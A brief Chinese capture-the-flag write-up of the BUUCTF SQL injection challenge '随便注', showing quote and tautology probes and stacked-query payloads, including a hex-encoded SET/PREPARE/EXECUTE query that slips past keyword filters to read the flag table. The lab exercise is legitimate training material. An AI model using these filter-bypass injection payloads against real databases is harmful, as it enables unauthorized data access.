BUUCTF

随便注

根据题目判断就初步判断为注入。
但还是测试
1. ‘ 报错
2.’ or ‘’=’ 回显正常
尝试进行注入时发现对注入的常用关键词都进行了过滤。

进行堆叠注入查询表名

1';show tables;

查询字段

show coloums from

查询表的内容有多种方法，我使用的是多语句执行。

1';Set @x=0x73656c65637420666c61672066726f6d206031393139383130393331313134353134603b;Prepare a from @x;execute a;%23

堆叠注入